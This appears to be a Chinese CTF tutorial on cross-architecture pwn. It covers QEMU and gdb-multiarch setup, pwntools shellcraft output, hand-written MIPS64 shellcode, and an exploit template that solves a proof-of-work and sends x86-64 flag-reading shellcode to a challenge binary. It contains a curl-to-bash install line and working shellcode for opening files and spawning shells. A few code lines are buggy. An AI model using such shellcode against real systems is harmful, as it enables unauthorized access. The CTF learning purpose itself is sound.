- Author:ZERO-A-ONE
- Date:2022-08-20
0x1 环境配置
我们最常用的两个工具一个是QEMU,一个就是gdb-multiarch
1.1 QEMU
qemu是一个通用的、开源的机器仿真器和虚拟机。因此我们可以在linux操作系统中安装它,然后用它来调试其它架构平台的程序。如何安装见下面代码所示:
sudo apt update
sudo apt install qemu qemu-system qemu-user
在安装qemu后,对于静态链接的arm程序就已经可以直接运行了,使用命令qemu-arm prog
运行32位的arm程序,其中prog指代程序名。但对于动态链接的程序还是无法正常运行,此时需要安装对应架构的动态链接库才行
使用命令apt-cache search "libc6" | grep -E "arm|mips"
搜索可用的多架构运行库
我们只需要安装形如libc6-*-cross
的运行库即可。
使用命令安装:
sudo apt-get install libc6-arm64-cross libc6-armel-cross libc6-armhf-cross libc6-mips-cross libc6-mips32-mips64-cross libc6-mips32-mips64el-cross libc6-mips64-cross libc6-mips64-mips-cross libc6-mips64-mipsel-cross libc6-mips64el-cross libc6-mipsel-cross libc6-mipsn32-mips-cross libc6-mipsn32-mips64-cross libc6-mipsn32-mips64el-cross libc6-mipsn32-mipsel-cross
当我们使用Pwntools
里的asm
命令时,可能会报如下错误:
dpkg-query: 没有找到与 *bin/armeabi*linux*-as* 相匹配的路径
[ERROR] Could not find 'as' installed for ContextType(arch = 'arm', bits = 32, endian = 'little', log_level = 10)
Try installing binutils for this architecture:
https://docs.pwntools.com/en/stable/install/binutils.html
此时我们需要安装binutils依赖,首先使用命令apt search binutils | grep [arch]
(此处的[arch]请自行替换)
随后安装显示出的包即可完成
1.2 gdb-multiarch
然后我们还需要安装gdb-multiarch
sudo apt update
sudo apt install gdb-multiarch
1.3 安装GEF
虽然我们日常使用的GDB插件都是pwndbg比较多,但是在调试其他架构的时候GEF是更为稳定的插件
https://github.com/hugsy/gef
安装方法如下:
# via the install script
## using curl
$ bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
## using wget
$ bash -c "$(wget https://gef.blah.cat/sh -O -)"
# or manually
$ wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
$ echo source ~/.gdbinit-gef.py >> ~/.gdbinit
# or alternatively from inside gdb directly
$ gdb -q
(gdb) pi import urllib.request as u, tempfile as t; g=t.NamedTemporaryFile(suffix='-gef.py'); open(g.name, 'wb+').write(u.urlopen('https://tinyurl.com/gef-main').read()); gdb.execute('source %s' % g.name)
0x2 开启调试
2.1 内核态
例子:
qemu-system-x86_64 \
-m 2G \
-kernel ./bzImage \
-drive file=./rootfs.img \
-append "console=ttyS0 root=/dev/sda earlyprintk=serial nokaslr" \
-nographic \
-s
-kernel kernel-qemu
:指定启动所加载的内核文件类型,此处使用下载的内核映像类型kernel-qemu
。
-cpu arm1176
:指定启动所使用的CPU文件,此处模拟ARM1176 CPU
。Raspberry Pi
板上搭载了Broadcom BCM2835
,这个处理器用的是ARM1176JZ-F
。
-m 256
:指定仿真系统可使用的内存大小,此处RAM的大小是256MB. 设定成比256MB大的值板子好像不能启动.
-M versatilepb
:设定模拟的开发板类型。versatilepb
是ARM Versatile Platform Board
。
-kernel kernel-qemu-4.4.34-jessie
:指定启动所加载的内核镜像,此处使用下载的内核映像kernel-qemu-4.4.34-jessie
。
-append "root=/dev/sda2"
:指定内核的命令行。
-hda 2013-09-25-wheezy-raspbian.img
:Harddisk 0
使用2013-09-25-wheezy-raspbian.img
。
2.2 用户态
用户态的启动较为简单
下面以调试32位静态链接的arm架构程序为例,首先我们先使用qemu对应架构的指令工具来启动该程序,由于示例的程序是静态编译的,所以就没有使用-L
指定动态链接库目录
qemu-mips64 -g 8888 ./ShellcodeRunnerMIPS64
之后新开终端,使用gdb-multiarch,设置体系架构,还可以设置大小端序,连接本地调试端口即可
gdb-multiarch -q ./ShellcodeRunnerMIPS64
set architecture mips64
set endian big
target remote localhost:8888
这里使用set architechture
指令可以查看所有架构选项
其实很多时候最好不要手动设置架构和大小端序,gdb-multiarch会自动进行设置
0x3 shellcode
在比赛中我们往往需要编写一些不同架构的shellcode,还好pwntools给我提供了shellcode框架,可以帮助我们方便的书写shellcode
https://docs.pwntools.com/en/stable/shellcraft.html#module-pwnlib.shellcraft
目前pwntools官方已经支持了以下架构
- AArch64
- ADM64
- ARM
- Intel 80386
- MIPS
- Thunb Mode
在使用之前我们最好设置一下context参数
context.arch="amd64"
context.endian='little'
context.log_level="debug"
3.1 API
shellcode框架提供了一些特别好用的API,比如我想cat一个文件就可以直接
shellcraft.amd64.linux.cat('/flag')
还有我们编写Shellcode最常用的mov指令
>>> print(shellcraft.amd64.mov('eax','ebx').rstrip())
mov eax, ebx
>>> print(shellcraft.amd64.mov('eax', 0).rstrip())
xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('ax', 0).rstrip())
xor ax, ax /* 0 */
>>> print(shellcraft.amd64.mov('rax', 0).rstrip())
xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('rdi', 'ax').rstrip())
movzx edi, ax
>>> print(shellcraft.amd64.mov('al', 'ax').rstrip())
/* moving ax into al, but this is a no-op */
>>> print(shellcraft.amd64.mov('ax', 'bl').rstrip())
movzx ax, bl
>>> print(shellcraft.amd64.mov('eax', 1).rstrip())
push 1
pop rax
>>> print(shellcraft.amd64.mov('rax', 0xc0).rstrip())
xor eax, eax
mov al, 0xc0
>>> print(shellcraft.amd64.mov('rax', 0xc000).rstrip())
xor eax, eax
mov ah, 0xc000 >> 8
>>> print(shellcraft.amd64.mov('rax', 0xc0c0).rstrip())
xor eax, eax
mov ax, 0xc0c0
>>> print(shellcraft.amd64.mov('rdi', 0xff).rstrip())
mov edi, 0x1010101 /* 255 == 0xff */
xor edi, 0x10101fe
>>> print(shellcraft.amd64.mov('rax', 0xdead00ff).rstrip())
mov eax, 0x1010101 /* 3735879935 == 0xdead00ff */
xor eax, 0xdfac01fe
>>> print(shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip())
mov rax, 0x101010101010101 /* 76750323967 == 0x11dead00ff */
push rax
mov rax, 0x1010110dfac01fe
xor [rsp], rax
pop rax
>>> print(shellcraft.amd64.mov('rax', 0xffffffff).rstrip())
mov eax, 0xffffffff
>>> print(shellcraft.amd64.mov('rax', 0x7fffffff).rstrip())
mov eax, 0x7fffffff
>>> print(shellcraft.amd64.mov('rax', 0x80010101).rstrip())
mov eax, 0x80010101
>>> print(shellcraft.amd64.mov('rax', 0x80000000).rstrip())
mov eax, 0x1010101 /* 2147483648 == 0x80000000 */
xor eax, 0x81010101
>>> print(shellcraft.amd64.mov('rax', 0xffffffffffffffff).rstrip())
push 0xffffffffffffffff
pop rax
>>> with context.local(os = 'linux'):
... print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())
xor eax, eax /* SYS_read */
>>> with context.local(os = 'freebsd'):
... print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())
push SYS_read /* 3 */
pop rax
>>> with context.local(os = 'linux'):
... print(shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip())
push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pop rax
在操作栈的时候最常用的push指令
>>> print(pwnlib.shellcraft.amd64.push(0).rstrip())
/* push 0 */
push 1
dec byte ptr [rsp]
>>> print(pwnlib.shellcraft.amd64.push(1).rstrip())
/* push 1 */
push 1
>>> print(pwnlib.shellcraft.amd64.push(256).rstrip())
/* push 0x100 */
push 0x1010201 ^ 0x100
xor dword ptr [rsp], 0x1010201
>>> with context.local(os = 'linux'):
... print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())
/* push 'SYS_write' */
push 1
>>> with context.local(os = 'freebsd'):
... print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())
/* push 'SYS_write' */
push 4
设置寄存器
>>> print(shellcraft.setregs({'rax':1, 'rbx':'rax'}).rstrip())
mov rbx, rax
push 1
pop rax
>>> print(shellcraft.setregs({'rax': 'SYS_write', 'rbx':'rax'}).rstrip())
mov rbx, rax
push SYS_write /* 1 */
pop rax
>>> print(shellcraft.setregs({'rax':'rbx', 'rbx':'rax', 'rcx':'rbx'}).rstrip())
mov rcx, rbx
xchg rax, rbx
>>> print(shellcraft.setregs({'rax':1, 'rdx':0}).rstrip())
push 1
pop rax
cdq /* rdx=0 */
设置系统调用syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 1, 'rsp', 2, 0).rstrip())
/* call execve(1, 'rsp', 2, 0) */
xor r10d, r10d /* 0 */
push SYS_execve /* 0x3b */
pop rax
push 1
pop rdi
push 2
pop rdx
mov rsi, rsp
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 2, 1, 0, -1).rstrip())
/* call execve(2, 1, 0, -1) */
push -1
pop r10
push SYS_execve /* 0x3b */
pop rax
push 2
pop rdi
push 1
pop rsi
cdq /* rdx=0 */
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall().rstrip())
/* call syscall() */
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('rax', 'rdi', 'rsi').rstrip())
/* call syscall('rax', 'rdi', 'rsi') */
/* setregs noop */
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('rbp', None, None, 1).rstrip())
/* call syscall('rbp', ?, ?, 1) */
mov rax, rbp
push 1
pop rdx
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall(
... 'SYS_mmap', 0, 0x1000,
... 'PROT_READ | PROT_WRITE | PROT_EXEC',
... 'MAP_PRIVATE | MAP_ANONYMOUS',
... -1, 0).rstrip())
/* call mmap(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE | MAP_ANONYMOUS', -1, 0) */
push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
pop r10
push -1
pop r8
xor r9d, r9d /* 0 */
push SYS_mmap /* 9 */
pop rax
xor edi, edi /* 0 */
push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pop rdx
mov esi, 0x1010101 /* 4096 == 0x1000 */
xor esi, 0x1011101
syscall
>>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
/* open(file='/home/pwn/flag', oflag=0, mode=0) */
/* push b'/home/pwn/flag\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f6e
xor [rsp], rax
mov rax, 0x77702f656d6f682f
push rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push SYS_open /* 2 */
pop rax
syscall
>>> print(shellcraft.amd64.write(0, '*/', 2).rstrip())
/* write(fd=0, buf='\x2a/', n=2) */
/* push b'\x2a/\x00' */
push 0x1010101 ^ 0x2f2a
xor dword ptr [rsp], 0x1010101
mov rsi, rsp
xor edi, edi /* 0 */
push 2
pop rdx
/* call write() */
push SYS_write /* 1 */
pop rax
syscall
甚至可以一键get sh
>>> p = run_assembly(shellcraft.amd64.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
比如我们编写一个最简单的cat flag
的shellcode
sc = shellcraft.amd64.linux.cat('/flag')
sc += shellcraft.amd64.linux.exit(0)
shellcode = asm(sc,arch='amd64')
其中shellcraft会生成对应的汇编代码,而asm负责将汇编代码转换为对应的机器码,我们接下来只需要直接使用shellcode就好
p.sendlineafter("Shellcode >", shellcode)
3.2 手动
但是如果我们是KOH或者对shellcode长度有限制的时候,pwntools自动生成的shellcode会不符合条件。我们往往需要手动编写shellcode
例如这样:
from signal import pause
from pwn import *
import sys
#p = process(["qemu-mips64","-g","1234","./ShellcodeRunnerMIPS64"])
p = process(["qemu-mips64","./ShellcodeRunnerMIPS64"])
pause()
context.update(arch='mips',bits=64,endian="big")
sc_push = asm('''
li $t1, 0x2f666c61
sw $t1, -8($sp)
li $t9, ~0x67000000
not $t1, $t9
sw $t1, -4($sp)
daddiu $sp, $sp, -8
''',arch='mips64')
sc_open = asm('''
dadd $a0, $sp, $0
slti $a1, $zero, 0xFFFF
''',arch='mips64')
sc_call_open = asm('''
ori $v0, $zero, 0x138a
syscall
''',arch='mips64')
sc_send = asm('''
li $t9, ~1
not $a0, $t9
sw $v0, -4($sp)
lw $a1, -4($sp)
slti $a2, $zero, 0xFFFF
li $a3, 0x7fffffff
''',arch='mips64')
sc_call_send = asm('''
ori $v0, $zero, 0x13af
syscall
''',arch='mips64')
mips64_bytes = sc_push + sc_open + sc_call_open + sc_send + sc_call_send
print(len(mips64_bytes))
p.sendlineafter("Shellcode >", sc)
p.recv()
p.interactive()
关于手写汇编一些比较取巧的办法是先用对应架构的交叉编译器用C语言写,然后用IDA之类的打开编译器出来的二进制文件,扣下哪些汇编代码即可
这里还有一个网站可以实时查看用C语言编写各类架构的汇编代码:
https://gcc.godbolt.org/
3.3 polyshell
这里还提供了一种一个payload打好几种架构的技巧,常用于KOH
https://sectt.github.io/writeups/MidnightSun19/misc_polyshell/README
0x4 EXP
我们有一个通用的模版来写EXP
# -*- coding: utf-8 -*-
from pwn import *
import hashlib
import string
context.terminal = ['tmux','splitw','-h']
context.arch="amd64"
context.log_level="debug"
def debug(addr=-1,PIE=True):
if addr == -1:
gdb.attach(p)
else:
if PIE:
#text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).setvbuflines()[1], 16)
#gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
gdb.attach(p,"b *$rebase({})".format(hex(addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./ShellCodeRunnerX64")
# p = process("./fuzz", env={"LD_PRELOAD":"./libc-2.27.so"})
# debug(0x000000000000000)
p.interactive()
if __name__ == "__main__":
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
main(args["REMOTE"])
其实context可以设置的属性参数很多,具体可以参看PWNTOOLS提供的手册
https://docs.pwntools.com/en/stable/context.html
然后在CTF中为了防止爆破往往还会加入POW机制,我们需要先通过POW验证
import random
from hashlib import sha256
while True:xs
sol = random.randbytes(4)
if sha256(chal + sol).hexdigest().startswith('00000'):
print(sol.hex())
break
# soll = ""
# for i in sol:
# soll += hex(ord(i))[2:].rjust(2,'0')
sol = sol.hex()
soll = sol[6:8]+sol[4:6]+sol[2:4]+sol[0:2]
p.send(sol)
最后一个完整的EXP如下所示
# -*- coding: utf-8 -*-
from pwn import *
import hashlib
import string
context.terminal = ['tmux','splitw','-h']
context.arch="amd64"
context.log_level="debug"
def debug(addr=-1,PIE=True):
if addr == -1:
gdb.attach(p)
else:
if PIE:
#text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).setvbuflines()[1], 16)
#gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
gdb.attach(p,"b *$rebase({})".format(hex(addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./ShellCodeRunnerX64")
# p = process("./fuzz", env={"LD_PRELOAD":"./libc-2.27.so"})
# debug(0x000000000000000)
p.recvuntil(b"chal:")
p.recvuntil(b"chal:")
chal = p.recvline()[1:-1]
print(b'cha',chal)
# strr = ""
# for i in range(0,256):
# strr+=chr(i)
# sol = ""
# for i in strr:
# for j in strr:
# for k in strr:
# for l in strr:
# sol = i+j+k+l
# if hashlib.sha256(chal + sol).hexdigest().startswith('00000'):
# break
# soll = ""
# for i in sol:
# soll += hex(ord(i))[2:].rjust(2,'0')
# p.send(soll)
import random
from hashlib import sha256
while True:
sol = random.randbytes(4)
if sha256(chal + sol).hexdigest().startswith('00000'):
print(sol.hex())
break
# soll = ""
# for i in sol:
# soll += hex(ord(i))[2:].rjust(2,'0')
sol = sol.hex()
soll = sol[6:8]+sol[4:6]+sol[2:4]+sol[0:2]
p.send(sol)
#debug(0x080497B3, PIE=False)
p.sendlineafter(b"Input your team token", b"xxxxxxx")
shellcode = asm('''
mov rax,0x67616c662f
push rax
mov rdi,rsp
xor rsi,rsi
mov eax,2
syscall
//open("./flag",0)
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov eax,0
syscall
//read(3,rsp,0x100)
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov eax,1
syscall
//write(1,rsp,0x100)
mov rax, 0x3c
mov rdi, 0
syscall
''',arch='amd64')
# sh = ""
# for i in shellcode:
p.sendafter(b"Input your mimic shellcode (0x1000 max, hex, end with '\\n')>",shellcode.hex()+"\n")
#p.sendlineafter("Shellcode >", shellcode)
#debug()
#p.recv()
p.interactive()
if __name__ == "__main__":
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
main(args["REMOTE"])
参考文献
- ARM架构下的 Pwn 的一般解决思路
- HWS夏令营 之 GDB调一切
- 关于学习arm架构下的pwn的总结
- https://sectt.github.io/writeups/MidnightSun19/misc_polyshell/README
- http://man.hubwiz.com/docset/pwntools.docset/Contents/Resources/Documents/shellcraft/mips.html
- https://docs.pwntools.com/en/stable/context.html
- [CTF pwn – ARM架构的pwn题详解](